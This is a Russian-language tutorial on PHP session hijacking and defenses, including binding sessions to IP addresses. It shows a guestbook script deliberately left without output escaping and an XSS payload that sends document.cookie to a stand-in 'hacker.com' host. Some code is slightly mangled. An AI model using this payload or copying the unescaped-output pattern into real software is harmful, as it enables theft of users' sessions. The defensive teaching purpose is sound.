В настоящий момент ни
одно серьёзное Web-приложение не обходится без использования механизма сессий.
Наиболее распрастранено использование сессий для разграничения доступа
пользователей к личным ресурсам.
Рассмотрим типичный
процесс авторизации с использованием сессии.
- У пользователя запрашивается логин и
пароль.
- Если авторизация проходит успешно,
то создается новая сессия, со значением "успешной авторизации".
- Пользователю назначается уникальный
идентификатор (SID), который заранее невозможно предсказать, а, значит, и
подобрать :).
- SID записывается либо в cookies
браузера, либо передается через адресную строку браузера (если cookies
отключены).
В результате успешной
авторизации скрипту становится доступными значения переменных из
суперглобального массива $_SESSION, по наличию которых скрипт предоставляет
доступ к некоторому ресурсу, например, вход на панель администрирования
сайта.
Проблема заключается в
том, что если злоумышленник каким-либо образом узнает SID другого пользователя,
он сможет подставить его в свои cookies, или адресную строку браузера и войти на
сайт с правами данного пользователя.
Замечание
Несколько лет назад имело
место несколько скандалов, когда в системах удалённого управления банковским
счётом уникальный номер (SID) генерировался просто прибавлением единицы к
последнему использованному значению. Быстрая авторизация приводила к выдачи двух
значений SID, допустим 40346 и 40348. Подстановка номера 40347 позволяла
получить доступ к чужому счёту :).
В настоящее время SID
представляет уникальную последовательность цифр и букв, не привязанную к
счётчику. Но как же злоумышленик узнает чужой SID?
Существуют два самых
распространенных варианта:
1. Например, владелец
сессии сам показал ее, неосторожно оставив ссылку такого типа где-нибудь на
форуме или гостевой книге.
http://site.ru/?sid=01c1739de76ed46e639cd23d33698121
Переход по этому адресу,
автоматически наделяет злоумышленника правами пользователя для которого выделена
сессия с идентификатором 01c1739de76ed46e639cd23d33698121.
Конечно, сессия
пользователя уничтожается при отсутствии активности через некоторое время. И
поэтому злоумышленнику следует поторопиться :). С другой стороны тотальная
распространённость пауков (спайдеров) позволяет организовать целеноправленный
автоматический поиск таких ссылок.
2. Если даже сессия не
указана явно в строке браузера, а хранится в Куках. У злоумышленика все равно
есть возможность завладеть идентификатором. Рассмотрим небольшой скрипт
простейшей гостевой книги.
<!--- тут
чего-то -->
<form action=addmsg.php method=post>
Текст:
<textarea name="text"></textarea>
<input type="submit"
value="Добавить">
</form>
Содержимое обработчика
addmsg.php представлено ниже
<?php
if(!empty($_POST['text']))
{
$line =
str_replace("/ ?
/s", " ", $_POST['text']);
//запись в базу или в файл
}
else
{
exit("Ошибка");
}
?>
Обратите внимание - в
скрипте явно пропущен вызов функции htmlspecialchars(), которая преобразует
символы < в < и > в > в результате чего, злоумышленник может
вставить в текст любые HTML-теги и скрипты JavaScript.
<script>window.open("http://hacker.com/get.php?"+document.cookie,
'new')
</script>
И что мы получаем?
Маленькая оплошность (казалось бы пропустили всего лишь какой-то
htmlspecialchars() перед выводом сообщения в браузер), которая позволяет
загружать в новом окне страницу злоумышленика, передавая ей значения из
cookies.
Для борьбы с уязвимостями такого рода лучше всего бороться
"устойчивыми" методами, действуя по принципу "всё что не разрешено - запрещено".
Не следует скрывать SID и подвергать текст многоэтапным проверкам - вероятность
создания ошибок в этом случае только возрастает. Более надёжным в этом случае
является метод привязки SID к IP-адресу, пользователя владеющего сессией. Такой
способ широко распространен во многих известных форумах, например
phpBB.
Скрипт авторизации
<?php
if
(логин и пароль верные)
{
$_SESSION['authorized'] = true;
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
}
?>
Тогда скрипт, который
предоставляет доступ к определенному ресурсу, может содержать следующий
код
<?php
if (!empty($_SESSION['authorized']) &&
$_SESSION['ip'] ==
$_SERVER['REMOTE_ADDR'])
{
// Доступ к ресурсу открыт.
}
else die("Доступ закрыт.");
?>
Т.е. теперь с данной
сессией может работать только тот пользователь, IP-адрес которого совпадает с
IP-адресом, переданным серверу при авторизации. Если злоумышленик перехватит
сессию, IP-адрес то у него другой :) - поэтому в доступе ему будет
отказано.
Данный метод не является
универсальным и у него тоже есть слабые места.
- Если пользователь и злоумышленик
выходят в Интернет через общий прокси-сервер, то они будут иметь один общий
IP-адрес (это характерно для сетей университетов, заводов и других крупных
учреждений), т.е. каждый может украсть SID соседа, хотя бы вышеуказанными
методами.
- Если пользователь использует модем,
и произойдет обрыв связи, то после восстановления связи, ему скорее всего
будет назначен другой IP-адрес. Пользователь может быть неприятно удивлён,
если он будет огульно зачислен в ряды злоумышленников (поэтому писать угрозы и
призывы к совести в системах защиты не стоит - в таких системах тоже бывают
ошибки). Последний недостаток имеет место на форумах, посетители которых имеют
привычку при наборе длинного ответа отключать Интернет и работать offline.
Нажатие на кнопку "Ответить" приводит к тому, что вся набраная информация
теряется, так как никто не заботится о том, что бы сохранять текст набранный
злоумышлеником :))).
Выход: (вернее полу
выход) Проверять на идентичность только первые 3 цифры IP адреса, кража SID
по-прежднему статистически маловероятна, однако это в большинстве случаев,
позволяет более мягко отнестись к разрыву соединения, так как провайдерам обычно
выделяют неразрывный диапазон IP-адресов, в котором меняется только последняя
цифра.